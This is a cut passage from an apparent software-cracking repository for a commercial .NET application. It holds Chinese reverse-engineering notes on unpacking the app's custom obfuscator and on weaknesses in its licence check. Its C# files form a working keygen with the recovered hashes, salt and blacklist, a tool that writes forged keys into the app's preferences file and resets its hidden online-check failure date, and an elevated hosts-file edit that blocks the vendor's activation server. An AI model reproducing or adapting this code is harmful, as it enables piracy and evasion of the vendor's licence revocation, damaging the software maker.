## 6. 弱点分析(为什么可以 Keygen)
|
||||
|
||||
| 弱点 | 说明 |
|
||||
|---|---|
|
||||
| 校验信息仅 95 bit 且无签名 | 19×5 bit 校验串由 email 哈希推导,无 RSA/公钥签名,可离线构造 |
|
||||
| 173/192 字符不校验 | 头部 160 与尾部 13 字符任意,只用于外观 |
|
||||
| 校验与 email 单向绑定 | 换邮箱即换校验串,但 email 由用户自由选择 |
|
||||
| 黑名单规模极小 | 仅 6 个哈希,任意自有邮箱即规避 |
|
||||
| 离线激活路径 | 选项页本地 `CheckLicense` 通过即写设置并置 `IsPro=true`,无需联网 |
|
||||
|
||||
## 7. 参考实现
|
||||
|
||||
- C#:`src/LicenseAlgo.cs`(本仓库,`Generate`/`Verify`/`Checksum`)
|
||||
- Python 参考实现:`项目F_keygen.py`(社区传播的独立实现,与本仓库逐字符交叉验证一致)
|
||||
|
||||
> 交叉验证方法:固定 email → C# 与 Python 分别输出校验串 `license[160:179]` → 逐字符比对。
|
||||
> 注意 C# 移植陷阱:96 位值无法放入 `ulong`(移位量按 mod 64 处理,`<<64` 等于 `<<0`),
|
||||
> 必须使用 `BigInteger` 拼接;批量生成需共享随机源(`new Random()` 同 tick 同种子)。
|
||||
@@ -0,0 +1,92 @@
|
||||
# 逆向方法论:从混淆二进制到 Keygen
|
||||
|
||||
本文记录该算法从加壳二进制到可运行 Keygen 的完整逆向路径,供研究参考。
|
||||
|
||||
## 1. 样本概况
|
||||
|
||||
- 分发形式:Inno Setup 6.1 安装器(`项目F.exe`,约 12 MB),内含主程序
|
||||
`app\项目F.exe`(.NET Framework 4.8,32 位,约 2.5 MB)
|
||||
- 版本覆盖:项目F 6.3 正式版与 7.0 Beta(v7.0.0.9)
|
||||
- 解包方式:`innoextract` 直接解出 `app\` 目录(含 `项目F.pdb` 符号文件,为静态分析提供 TypeRef 线索)
|
||||
|
||||
## 2. 保护机制(定制 .NET 混淆器)
|
||||
|
||||
主程序使用**自家定制混淆器**(非 ConfuserEx/Reactor 等已知产品),三层保护:
|
||||
|
||||
| 层 | 机制 |
|
||||
|---|---|
|
||||
| 方法体加密 | 关键方法 IL 从元数据剥离,存放于嵌入资源加密流;运行时解密后用 `DynamicILInfo.SetCode` 注入 `DynamicMethod` 执行 |
|
||||
| 字符串加密 | 所有字符串以 token 索引存放,运行时经 `Reflection.Emit` 动态方法 XOR 链解密 |
|
||||
| 控制流混淆 | 状态机式 `while(true) + switch` 循环 + 常量表达式垃圾指令(v6 全量;v7 业务代码已无状态机) |
|
||||
|
||||
v7 与 v6 同构但**加密面大幅缩小**:v7 全程序集仅 5 个方法被 token 化加密
|
||||
(`CheckLicense` + 4 个哈希函数),其余约 7000 个方法可直接反编译。
|
||||
|
||||
## 3. 动态解壳(关键步骤)
|
||||
|
||||
静态反编译只能看到瘦身后的 stub(方法体被剥离),必须**动态解壳**:
|
||||
|
||||
1. **定位执行器**:通过单例字段特征在混淆类中定位方法体解密执行器
|
||||
(v6:`\ue1cd.\ue00f`;v7:`\ue215.\ue00f`),它负责把加密方法体解码为标准 IL
|
||||
2. **Hook token 分配**:用 Harmony 对 `DynamicILInfo.GetTokenFor` 打补丁,
|
||||
记录"动态 token → 成员引用"映射——解密后的 IL 里复杂成员引用是运行时分配的
|
||||
动态 token,不打补丁无法对照出成员名
|
||||
3. **Dump IL**:触发目标方法执行(或直接调用执行器的解码入口),把解密后的
|
||||
`DynamicMethod` IL 字节 dump 出来,配合 token 映射反汇编成可读 IL
|
||||
4. **字符串表**:调用字符串解密器批量还原全部字符串 token(v7 共 3,148 个)
|
||||
|
||||
## 4. 算法还原
|
||||
|
||||
从解密后的 `CheckLicense` IL(约 226 字节)还原出:
|
||||
|
||||
```
|
||||
常量:CHARSET / SALT / LICENSE_LEN(192) / CHECK_POS(160) / CHECK_LEN(19)
|
||||
流程:3×uint32 哈希 → 96bit 拼接 → 19×5bit 字符映射 → 与 license[160:179] 比对
|
||||
+ MD5(email+SALT) 黑名单
|
||||
```
|
||||
|
||||
还原后用**独立实现交叉验证**(见 `docs/algorithm.md` §7),再在真实程序上验收:
|
||||
反射调用安装版 `CheckLicense`,构造密钥使其返回 `True`。
|
||||
|
||||
## 5. 激活路径分析
|
||||
|
||||
激活流程(`ProService.ActivateNewLicense`):
|
||||
|
||||
```
|
||||
1. LicenseChecker.CheckLicense(email, key) ← 本地校验(离线)
|
||||
2. HTTP POST account.项目F.com ← 远程激活(非必需)
|
||||
3. 写 项目F5License 设置
|
||||
```
|
||||
|
||||
选项页提供**离线激活**:本地 `CheckLicense` 通过即写入设置并置 `IsPro=true`,全程无网络。
|
||||
设置持久化于 `%APPDATA%\项目F\UserProfile\Settings\Preferences.json` 的
|
||||
`Settings` 对象(点分键):
|
||||
|
||||
```json
|
||||
"项目F5.ProLicense.Name": "用户名",
|
||||
"项目F5.ProLicense.Email": "邮箱",
|
||||
"项目F5.ProLicense.Key": "192 字符密钥"
|
||||
```
|
||||
|
||||
> 注意:写入前必须退出 项目F——程序退出时会用内存中的设置覆盖配置文件,
|
||||
> 运行中写入会被回滚。因此激活工具在写入前检测进程并警告。
|
||||
|
||||
## 6. 工具链构成
|
||||
|
||||
| 阶段 | 工具 |
|
||||
|---|---|
|
||||
| 安装包解包 | innoextract |
|
||||
| 静态反编译 | ilspycmd(v7 可直接反编译业务代码) |
|
||||
| 动态解壳/DUMP | 自研 .NET loader(net48)+ Harmony 2.3.5(本仓库未收录,属分析期工具) |
|
||||
| IL 反汇编 | dnlib 自研 ildump(token 映射对照) |
|
||||
| 算法复现 | C# `LicenseAlgo.cs` + Python 独立实现交叉验证 |
|
||||
| 验收 | 反射调用安装版 `CheckLicense` 返回 True |
|
||||
|
||||
## 7. 经验总结
|
||||
|
||||
1. **静态分析要配合动态验证**:方法体加密导致静态反编译只有 stub,必须跑起来解壳
|
||||
2. **Token 映射是动态解密的关键**:不打 `GetTokenFor` 补丁,解密 IL 里全是数字 token
|
||||
3. **自洽测试会掩盖移植错误**:同源 Generate/Verify 互验全过 ≠ 与参考实现一致——
|
||||
用 Python 独立实现逐字符对照,立刻暴露了 C# 96 位整数拼接错误
|
||||
4. **版本间保护差异巨大**:v7 把加密面从"全量"缩到"5 个方法",
|
||||
检验算法却一字未改——分析结论可跨版本复用(v6 keygen 在 v7 零适配通过)
|
||||
@@ -0,0 +1,70 @@
|
||||
// HostsGuard - block 项目F activation server via hosts file (prevents online
|
||||
// license check from clearing locally-activated license keys).
|
||||
//
|
||||
// Background (from ProService.ScheduleAutoCheck decompilation):
|
||||
// - 15 min after startup 项目F POSTs email+key to account.项目F.com/api/v1/activate
|
||||
// - InvalidLicense/NoActivationsLeft -> after 7 days it CLEARS 项目F5.ProLicense.*
|
||||
// - Network failure -> ActivationResult.UnknownError -> switch has no branch -> no-op
|
||||
// Therefore blocking DNS for account.项目F.com makes the auto-check permanently inert,
|
||||
// while local activation (offline CheckLicense) keeps working.
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
||||
namespace 项目FLicense
|
||||
{
|
||||
public static class HostsGuard
|
||||
{
|
||||
public const string Host = "account.项目F.com";
|
||||
public const string BlockEntry = "0.0.0.0 " + Host;
|
||||
|
||||
public static string HostsPath()
|
||||
{
|
||||
return Path.Combine(Environment.SystemDirectory, "drivers", "etc", "hosts");
|
||||
}
|
||||
|
||||
// true if a non-comment hosts line already blocks the host
|
||||
public static bool IsBlocked()
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = HostsPath();
|
||||
if (!File.Exists(path)) return false;
|
||||
foreach (string raw in File.ReadAllLines(path))
|
||||
{
|
||||
string line = raw.Trim();
|
||||
if (line.Length == 0 || line.StartsWith("#")) continue;
|
||||
// strip trailing comment
|
||||
int hash = line.IndexOf('#');
|
||||
if (hash >= 0) line = line.Substring(0, hash).Trim();
|
||||
if (line.IndexOf(Host, StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
catch { return false; }
|
||||
}
|
||||
|
||||
// elevated one-shot: append block entry via runas PowerShell (UAC prompt)
|
||||
// returns true if the elevated process was launched (user accepted UAC)
|
||||
public static bool BlockViaUac()
|
||||
{
|
||||
string args = "-NoProfile -WindowStyle Hidden -Command \"" +
|
||||
"Add-Content -Path $env:SystemRoot\\System32\\drivers\\etc\\hosts " +
|
||||
"-Value '\\r\\n# block 项目F activation server (license auto-check)\\r\\n" +
|
||||
BlockEntry + "' -Encoding ASCII\"";
|
||||
try
|
||||
{
|
||||
ProcessStartInfo psi = new ProcessStartInfo();
|
||||
psi.FileName = "powershell.exe";
|
||||
psi.Arguments = args;
|
||||
psi.Verb = "runas"; // triggers UAC
|
||||
psi.UseShellExecute = true;
|
||||
psi.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
Process.Start(psi);
|
||||
return true;
|
||||
}
|
||||
catch { return false; } // user declined UAC or other failure
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,169 @@
|
||||
// 项目F Pro license algorithm (reversed from 项目F.Core.Pro.LicenseChecker)
|
||||
// C# 5 / .NET Framework 4.x compatible. Shared by 项目FKeyGen / 项目FKeyFill.
|
||||
// CheckLicense(email, license):
|
||||
// 1. email/license non-null, len(license)==192
|
||||
// 2. email = email.ToLowerInvariant()
|
||||
// 3. v = (h1<<64)|(h2<<32)|h3 (96 bits)
|
||||
// 4. for i in 0..18: result += charset[(v >> (96-(i+1)*5)) & 31]
|
||||
// 5. license[160:179] must equal result
|
||||
// 6. md5hex(email + salt) must not be in blacklist
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Numerics;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace 项目FLicense
|
||||
{
|
||||
public static class LicenseAlgo
|
||||
{
|
||||
public const string CHARSET = "23456789ABCDEFGHJKLMNPQRSTUVWXYZ"; // 32 chars, no 0/1/I/O
|
||||
public const string SALT = "项目Fl047YpyZUU5M";
|
||||
public const int LICENSE_LEN = 192;
|
||||
public const int CHECK_POS = 160;
|
||||
public const int CHECK_LEN = 19;
|
||||
|
||||
// blacklist hashes from LicenseChecker (v6 4 known + v7 decoded #5/#6)
|
||||
public static readonly HashSet<string> Blacklist = new HashSet<string>(StringComparer.Ordinal)
|
||||
{
|
||||
"710ab287938947d40d8d5857f663753c",
|
||||
"c109e3ee2bd74d5b88de647eebc2fd0e",
|
||||
"1229667d8ecc0616bffd7740c4323f9a",
|
||||
"b05744004c455956e5408a9b1c95b047",
|
||||
"57a39722f37db4727e0f425156f3b2d7",
|
||||
"0c16a79693d8d58e1e5b81f48f9ba64b",
|
||||
};
|
||||
|
||||
// debug helpers: expose internal hash values (for cross-checking)
|
||||
public static string DebugH1(string s) { return H1(s).ToString("X8"); }
|
||||
public static string DebugH2(string s) { return H2(s).ToString("X8"); }
|
||||
public static string DebugH3(string s) { return H3(s).ToString("X8"); }
|
||||
|
||||
// h1: h = h*43 + c (uint32 overflow)
|
||||
static uint H1(string s)
|
||||
{
|
||||
uint h = 0;
|
||||
for (int i = 0; i < s.Length; i++)
|
||||
h = h * 43 + (uint)s[i];
|
||||
return h;
|
||||
}
|
||||
|
||||
// h2: ELF-style h=(h<<4)+c; g=h&0xF0000000; if(g!=0){h^=g>>24; h^=g}
|
||||
static uint H2(string s)
|
||||
{
|
||||
uint h = 0;
|
||||
for (int i = 0; i < s.Length; i++)
|
||||
{
|
||||
h = (h << 4) + (uint)s[i];
|
||||
uint g = h & 0xF0000000u;
|
||||
if (g != 0)
|
||||
{
|
||||
h ^= (g >> 24);
|
||||
h ^= g;
|
||||
}
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
// h3: 4 rounds: h ^= s[j] << ((r*8)%32), j = r, r+4, r+8, ...
|
||||
static uint H3(string s)
|
||||
{
|
||||
uint h = 0;
|
||||
for (int r = 0; r < 4; r++)
|
||||
{
|
||||
for (int j = r; j < s.Length; j += 4)
|
||||
h ^= ((uint)s[j]) << ((r * 8) % 32);
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
// 96-bit value: H1 in bits [64,96), H2 in [32,64), H3 in [0,32).
|
||||
// NOTE: ulong is only 64 bits and shift counts are masked (<<64 == <<0),
|
||||
// so a plain ulong CANNOT hold the 96-bit value - use BigInteger.
|
||||
static BigInteger BuildV(string emailLower)
|
||||
{
|
||||
return ((BigInteger)H1(emailLower) << 64)
|
||||
| ((BigInteger)H2(emailLower) << 32)
|
||||
| (BigInteger)H3(emailLower);
|
||||
}
|
||||
|
||||
public static string Checksum(string emailLower)
|
||||
{
|
||||
string el = emailLower.ToLowerInvariant().Trim();
|
||||
BigInteger v = BuildV(el);
|
||||
StringBuilder sb = new StringBuilder(CHECK_LEN);
|
||||
for (int i = 0; i < CHECK_LEN; i++)
|
||||
{
|
||||
int shift = 96 - (i + 1) * 5;
|
||||
sb.Append(CHARSET[(int)((v >> shift) & 31)]);
|
||||
}
|
||||
return sb.ToString();
|
||||
}
|
||||
|
||||
// shared RNG: .NET Random() seeds from tick count, rapid consecutive
|
||||
// new Random() instances yield identical sequences -> use one shared instance
|
||||
private static readonly Random _sharedRnd = new Random();
|
||||
|
||||
public static string Generate(string email)
|
||||
{
|
||||
if (email == null) throw new ArgumentNullException("email");
|
||||
string el = email.ToLowerInvariant().Trim();
|
||||
if (el.Length == 0) throw new ArgumentException("email is empty");
|
||||
string ck = Checksum(el);
|
||||
StringBuilder sb = new StringBuilder(LICENSE_LEN);
|
||||
lock (_sharedRnd)
|
||||
{
|
||||
for (int i = 0; i < CHECK_POS; i++) sb.Append(CHARSET[_sharedRnd.Next(CHARSET.Length)]);
|
||||
sb.Append(ck);
|
||||
for (int i = 0; i < LICENSE_LEN - CHECK_POS - CHECK_LEN; i++) sb.Append(CHARSET[_sharedRnd.Next(CHARSET.Length)]);
|
||||
}
|
||||
return sb.ToString();
|
||||
}
|
||||
|
||||
public static bool Verify(string email, string license)
|
||||
{
|
||||
if (email == null || license == null) return false;
|
||||
if (license.Length != LICENSE_LEN) return false;
|
||||
string el = email.ToLowerInvariant().Trim();
|
||||
if (el.Length == 0) return false;
|
||||
if (license.Substring(CHECK_POS, CHECK_LEN) != Checksum(el)) return false;
|
||||
string h = MD5Hex(el + SALT);
|
||||
if (Blacklist.Contains(h)) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
public static string MD5Hex(string s)
|
||||
{
|
||||
using (MD5 md5 = MD5.Create())
|
||||
{
|
||||
byte[] bytes = md5.ComputeHash(Encoding.UTF8.GetBytes(s));
|
||||
StringBuilder sb = new StringBuilder(bytes.Length * 2);
|
||||
for (int i = 0; i < bytes.Length; i++) sb.Append(bytes[i].ToString("x2"));
|
||||
return sb.ToString();
|
||||
}
|
||||
}
|
||||
|
||||
// --- random mailbox generation (for the keygen GUI) ---
|
||||
static readonly string[] MailDomains = new string[]
|
||||
{
|
||||
"gmail.com", "outlook.com", "qq.com", "163.com", "foxmail.com",
|
||||
"proton.me", "mail.com", "example.com", "icloud.com", "hotmail.com"
|
||||
};
|
||||
static readonly string MailAlnum = "abcdefghijklmnopqrstuvwxyz0123456789";
|
||||
|
||||
// random mailbox like user<8 alnum>@<domain>; lowercase, collision unlikely,
|
||||
// practically impossible to hit the embedded MD5 blacklist
|
||||
public static string RandomEmail()
|
||||
{
|
||||
StringBuilder sb = new StringBuilder("user");
|
||||
lock (_sharedRnd)
|
||||
{
|
||||
for (int i = 0; i < 8; i++)
|
||||
sb.Append(MailAlnum[_sharedRnd.Next(MailAlnum.Length)]);
|
||||
sb.Append('@');
|
||||
sb.Append(MailDomains[_sharedRnd.Next(MailDomains.Length)]);
|
||||
}
|
||||
return sb.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
// PrefsWriter - 将激活配置写入 项目F Preferences.json(独立于 UI,可单测)
|
||||
// 目标文件: %APPDATA%\项目F\UserProfile\Settings\Preferences.json
|
||||
// 结构: 顶层对象含 "Settings" 子对象,内部为点分键 -> 值:
|
||||
// "项目F5.ProLicense.Name" / ".Email" / ".Key"
|
||||
// 写入流程: 备份 -> 全量 JSON 解析 -> 更新 Settings 三键 -> 写回 -> 复读校验
|
||||
// 依赖: System.Web.Extensions.dll (JavaScriptSerializer, .NET Framework 内置)
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Web.Script.Serialization;
|
||||
|
||||
namespace 项目FLicense
|
||||
{
|
||||
public static class PrefsWriter
|
||||
{
|
||||
public const string KEY_NAME = "项目F5.ProLicense.Name";
|
||||
public const string KEY_EMAIL = "项目F5.ProLicense.Email";
|
||||
public const string KEY_LICENSE = "项目F5.ProLicense.Key";
|
||||
// disguised JSON key: property LastProCheckFailDate (Pro online-check failure date)
|
||||
// stored under the name "LastUpdateTimeV1" - used by ScheduleAutoCheck to clear
|
||||
// the license after 7 days of failed online checks. We reset it on every write.
|
||||
public const string KEY_FAILDATE = "LastUpdateTimeV1";
|
||||
public const string BACKUP_SUFFIX = ".bak";
|
||||
|
||||
public static string DefaultPath()
|
||||
{
|
||||
string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||||
return Path.Combine(appData, "项目F", "UserProfile", "Settings", "Preferences.json");
|
||||
}
|
||||
|
||||
// returns true on success; log receives step-by-step messages
|
||||
public static bool Write(string path, string name, string email, string license,
|
||||
StringBuilder log, out string error)
|
||||
{
|
||||
error = null;
|
||||
try
|
||||
{
|
||||
string dir = Path.GetDirectoryName(path);
|
||||
if (!Directory.Exists(dir)) Directory.CreateDirectory(dir);
|
||||
|
||||
Dictionary<string, object> root;
|
||||
if (File.Exists(path))
|
||||
{
|
||||
string json = File.ReadAllText(path, Encoding.UTF8);
|
||||
if (string.IsNullOrWhiteSpace(json))
|
||||
throw new InvalidDataException("配置文件为空");
|
||||
var ser = new JavaScriptSerializer();
|
||||
object obj = ser.DeserializeObject(json);
|
||||
root = obj as Dictionary<string, object>;
|
||||
if (root == null)
|
||||
throw new InvalidDataException("配置文件不是 JSON 对象,拒绝覆盖");
|
||||
log.AppendLine("[1/5] 已读取现有配置: " + path + " (" + json.Length + " 字节)");
|
||||
}
|
||||
else
|
||||
{
|
||||
root = new Dictionary<string, object>();
|
||||
log.AppendLine("[1/5] 配置文件不存在,将新建: " + path);
|
||||
}
|
||||
|
||||
// backup
|
||||
string bak = path + BACKUP_SUFFIX;
|
||||
if (File.Exists(path))
|
||||
{
|
||||
File.Copy(path, bak, true);
|
||||
log.AppendLine("[2/5] 已备份原配置 -> " + bak);
|
||||
}
|
||||
else
|
||||
{
|
||||
log.AppendLine("[2/5] 无原文件,跳过备份");
|
||||
}
|
||||
|
||||
// update Settings keys
|
||||
object settingsObj;
|
||||
Dictionary<string, object> settings;
|
||||
if (root.TryGetValue("Settings", out settingsObj))
|
||||
settings = settingsObj as Dictionary<string, object>;
|
||||
else
|
||||
settings = null;
|
||||
if (settings == null)
|
||||
{
|
||||
settings = new Dictionary<string, object>();
|
||||
root["Settings"] = settings;
|
||||
}
|
||||
settings[KEY_NAME] = name;
|
||||
settings[KEY_EMAIL] = email;
|
||||
settings[KEY_LICENSE] = license;
|
||||
// reset the online-check failure date so the 7-day countdown never starts
|
||||
// (ProService.ScheduleAutoCheck clears the three keys once now - failDate > 7d)
|
||||
settings[KEY_FAILDATE] = "0001-01-01T00:00:00";
|
||||
log.AppendLine("[3/5] 已写入 " + KEY_NAME + " / " + KEY_EMAIL + " / " + KEY_LICENSE);
|
||||
log.AppendLine(" 并重置在线校验失败计时(" + KEY_FAILDATE + " -> MinValue)");
|
||||
|
||||
// serialize & write back (UTF-8 no BOM, keep other settings intact)
|
||||
var writer = new JavaScriptSerializer();
|
||||
string outJson = writer.Serialize(root);
|
||||
File.WriteAllText(path, outJson, new UTF8Encoding(false));
|
||||
log.AppendLine("[4/5] 已写回 " + path + " (" + outJson.Length + " 字节)");
|
||||
|
||||
// re-read & verify
|
||||
string check = File.ReadAllText(path, Encoding.UTF8);
|
||||
var checkSer = new JavaScriptSerializer();
|
||||
Dictionary<string, object> checkRoot = checkSer.DeserializeObject(check) as Dictionary<string, object>;
|
||||
if (checkRoot == null)
|
||||
throw new InvalidDataException("写回后重读失败:不是 JSON 对象");
|
||||
Dictionary<string, object> checkSet = checkRoot["Settings"] as Dictionary<string, object>;
|
||||
if (checkSet == null)
|
||||
throw new InvalidDataException("写回后重读失败:Settings 缺失");
|
||||
bool ok = true;
|
||||
ok &= (string)checkSet[KEY_NAME] == name;
|
||||
ok &= (string)checkSet[KEY_EMAIL] == email;
|
||||
ok &= (string)checkSet[KEY_LICENSE] == license;
|
||||
if (!ok)
|
||||
throw new InvalidDataException("写回校验不一致,请检查文件");
|
||||
log.AppendLine("[5/5] 复读校验通过:三个字段已就位");
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
error = ex.Message;
|
||||
log.AppendLine("[失败] " + ex.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// returns (name, email, license) currently stored, or nulls
|
||||
public static string[] Read(string path)
|
||||
{
|
||||
string[] result = new string[3];
|
||||
if (!File.Exists(path)) return result;
|
||||
try
|
||||
{
|
||||
string json = File.ReadAllText(path, Encoding.UTF8);
|
||||
var ser = new JavaScriptSerializer();
|
||||
Dictionary<string, object> root = ser.DeserializeObject(json) as Dictionary<string, object>;
|
||||
if (root == null) return result;
|
||||
Dictionary<string, object> settings = root["Settings"] as Dictionary<string, object>;
|
||||
if (settings == null) return result;
|
||||
result[0] = settings.ContainsKey(KEY_NAME) ? (string)settings[KEY_NAME] : null;
|
||||
result[1] = settings.ContainsKey(KEY_EMAIL) ? (string)settings[KEY_EMAIL] : null;
|
||||
result[2] = settings.ContainsKey(KEY_LICENSE) ? (string)settings[KEY_LICENSE] : null;
|
||||
}
|
||||
catch { /* ignore */ }
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,355 @@
|
||||
// 项目FActivate - 项目F Pro 一键激活工具(GUI)
|
||||
// 单窗口完成:邮箱(手动/随机)→ 自动生成密钥 → 校验 → 检测 项目F 进程
|
||||
// → 备份 Preferences.json → 写入 Settings 三键 → 复读校验
|
||||
// 底部常驻:免责声明 + 正版购买链接 + 开源仓库地址
|
||||
// 编译:csc /nologo /target:winexe /codepage:65001 /out:项目FActivate.exe
|
||||
// /r:System.dll /r:System.Drawing.dll /r:System.Windows.Forms.dll
|
||||
// /r:System.Web.Extensions.dll /r:System.Numerics.dll
|
||||
// 项目FActivate.cs LicenseAlgo.cs PrefsWriter.cs
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using 项目FLicense;
|
||||
|
||||
namespace 项目FActivateApp
|
||||
{
|
||||
public class MainForm : Form
|
||||
{
|
||||
TextBox txtName;
|
||||
TextBox txtEmail;
|
||||
TextBox txtKey;
|
||||
TextBox txtConfigPath;
|
||||
TextBox txtLog;
|
||||
|
||||
const string VERSION_TAG = "v1.0.0";
|
||||
const string REPO_URL = "https://项目F.int0.cc";
|
||||
const string BUY_URL = "https://www.项目F.com/pro";
|
||||
|
||||
public MainForm()
|
||||
{
|
||||
Text = "项目F Pro 一键激活";
|
||||
Font = new Font("Microsoft YaHei UI", 9F);
|
||||
ClientSize = new Size(680, 560);
|
||||
StartPosition = FormStartPosition.CenterScreen;
|
||||
MaximizeBox = false;
|
||||
FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
|
||||
int y = 12;
|
||||
Label lblName = new Label();
|
||||
lblName.Text = "用户名(Name):";
|
||||
lblName.SetBounds(12, y, 200, 20);
|
||||
Controls.Add(lblName);
|
||||
txtName = new TextBox();
|
||||
txtName.SetBounds(220, y - 2, 448, 24);
|
||||
txtName.Text = "Pro User";
|
||||
Controls.Add(txtName);
|
||||
y += 34;
|
||||
|
||||
Label lblEmail = new Label();
|
||||
lblEmail.Text = "邮箱(Email):";
|
||||
lblEmail.SetBounds(12, y, 200, 20);
|
||||
Controls.Add(lblEmail);
|
||||
txtEmail = new TextBox();
|
||||
txtEmail.SetBounds(220, y - 2, 340, 24);
|
||||
Controls.Add(txtEmail);
|
||||
Button btnRandom = new Button();
|
||||
btnRandom.Text = "随机邮箱";
|
||||
btnRandom.SetBounds(568, y - 2, 100, 26);
|
||||
btnRandom.Click += delegate { AddRandomEmail(); };
|
||||
Controls.Add(btnRandom);
|
||||
y += 34;
|
||||
|
||||
Label lblKey = new Label();
|
||||
lblKey.Text = "密钥(License):";
|
||||
lblKey.SetBounds(12, y, 200, 20);
|
||||
Controls.Add(lblKey);
|
||||
txtKey = new TextBox();
|
||||
txtKey.SetBounds(220, y - 2, 448, 24);
|
||||
txtKey.Font = new Font("Consolas", 9F);
|
||||
Controls.Add(txtKey);
|
||||
y += 36;
|
||||
|
||||
Button btnGen = new Button();
|
||||
btnGen.Text = "仅生成密钥";
|
||||
btnGen.SetBounds(220, y, 130, 28);
|
||||
btnGen.Click += delegate { GenerateKey(); };
|
||||
Controls.Add(btnGen);
|
||||
|
||||
Button btnActivate = new Button();
|
||||
btnActivate.Text = "一键激活";
|
||||
btnActivate.SetBounds(360, y, 140, 28);
|
||||
btnActivate.BackColor = Color.FromArgb(215, 235, 215);
|
||||
btnActivate.Click += delegate { DoActivate(); };
|
||||
Controls.Add(btnActivate);
|
||||
y += 42;
|
||||
|
||||
Label lblCfg = new Label();
|
||||
lblCfg.Text = "配置文件:";
|
||||
lblCfg.SetBounds(12, y, 200, 20);
|
||||
Controls.Add(lblCfg);
|
||||
txtConfigPath = new TextBox();
|
||||
txtConfigPath.SetBounds(220, y - 2, 340, 24);
|
||||
txtConfigPath.Text = PrefsWriter.DefaultPath();
|
||||
Controls.Add(txtConfigPath);
|
||||
Button btnBrowse = new Button();
|
||||
btnBrowse.Text = "浏览...";
|
||||
btnBrowse.SetBounds(568, y - 2, 100, 26);
|
||||
btnBrowse.Click += delegate { BrowseConfig(); };
|
||||
Controls.Add(btnBrowse);
|
||||
y += 38;
|
||||
|
||||
// anti-rollback protection: block the activation server so the
|
||||
// scheduled online check (ScheduleAutoCheck) never invalidates the license
|
||||
Label lblGuard = new Label();
|
||||
lblGuard.SetBounds(12, y, 460, 24);
|
||||
UpdateGuardLabel(lblGuard);
|
||||
Controls.Add(lblGuard);
|
||||
Button btnGuard = new Button();
|
||||
btnGuard.Text = "屏蔽激活服务器(防回退)";
|
||||
btnGuard.SetBounds(480, y - 2, 188, 28);
|
||||
btnGuard.Click += delegate { BlockActivationServer(lblGuard, btnGuard); };
|
||||
Controls.Add(btnGuard);
|
||||
y += 40;
|
||||
|
||||
txtLog = new TextBox();
|
||||
txtLog.Multiline = true;
|
||||
txtLog.ReadOnly = true;
|
||||
txtLog.ScrollBars = ScrollBars.Vertical;
|
||||
txtLog.Font = new Font("Consolas", 9F);
|
||||
txtLog.SetBounds(12, y, 656, 180);
|
||||
Controls.Add(txtLog);
|
||||
y += 192;
|
||||
|
||||
Label lblWarn = new Label();
|
||||
lblWarn.Text = "仅供授权范围内的逆向学习与研究,请遵守 项目F 服务条款,勿用于未授权用途";
|
||||
lblWarn.ForeColor = Color.FromArgb(90, 90, 90);
|
||||
lblWarn.Font = new Font("Microsoft YaHei UI", 8.5F);
|
||||
lblWarn.SetBounds(12, y, 656, 20);
|
||||
Controls.Add(lblWarn);
|
||||
y += 24;
|
||||
|
||||
LinkLabel lnkLinks = new LinkLabel();
|
||||
string p1 = "正版购买: ";
|
||||
string p2 = " | 开源仓库: ";
|
||||
string p3 = " | 版本: " + VERSION_TAG;
|
||||
lnkLinks.Text = p1 + BUY_URL + p2 + REPO_URL + p3;
|
||||
lnkLinks.ForeColor = Color.FromArgb(90, 90, 90);
|
||||
lnkLinks.Font = new Font("Microsoft YaHei UI", 8.5F);
|
||||
lnkLinks.LinkColor = Color.FromArgb(0, 102, 204);
|
||||
lnkLinks.ActiveLinkColor = Color.FromArgb(0, 60, 140);
|
||||
lnkLinks.VisitedLinkColor = Color.FromArgb(0, 102, 204);
|
||||
lnkLinks.LinkBehavior = LinkBehavior.HoverUnderline;
|
||||
lnkLinks.AutoEllipsis = true;
|
||||
lnkLinks.SetBounds(12, y, 656, 20);
|
||||
lnkLinks.Links.Clear();
|
||||
lnkLinks.Links.Add(p1.Length, BUY_URL.Length, BUY_URL);
|
||||
lnkLinks.Links.Add(p1.Length + BUY_URL.Length + p2.Length, REPO_URL.Length, REPO_URL);
|
||||
lnkLinks.LinkClicked += delegate(object sender, LinkLabelLinkClickedEventArgs e)
|
||||
{
|
||||
if (e.Link != null && e.Link.LinkData != null)
|
||||
{
|
||||
OpenUrl(e.Link.LinkData.ToString());
|
||||
}
|
||||
};
|
||||
Controls.Add(lnkLinks);
|
||||
|
||||
Log("就绪(v" + VERSION_TAG + ")。目标配置: " + PrefsWriter.DefaultPath());
|
||||
Log("提示:写入前请退出 项目F,否则退出时内存数据会覆盖新配置。");
|
||||
}
|
||||
|
||||
void UpdateGuardLabel(Label lbl)
|
||||
{
|
||||
if (HostsGuard.IsBlocked())
|
||||
{
|
||||
lbl.Text = "✓ 已屏蔽激活服务器 account.项目F.com —— 在线校验不会回退激活状态";
|
||||
lbl.ForeColor = Color.ForestGreen;
|
||||
}
|
||||
else
|
||||
{
|
||||
lbl.Text = "⚠ 未屏蔽激活服务器 —— 项目F 启动 15 分钟后联网校验,失败累计 7 天会回退";
|
||||
lbl.ForeColor = Color.Firebrick;
|
||||
}
|
||||
}
|
||||
|
||||
void BlockActivationServer(Label lbl, Button btn)
|
||||
{
|
||||
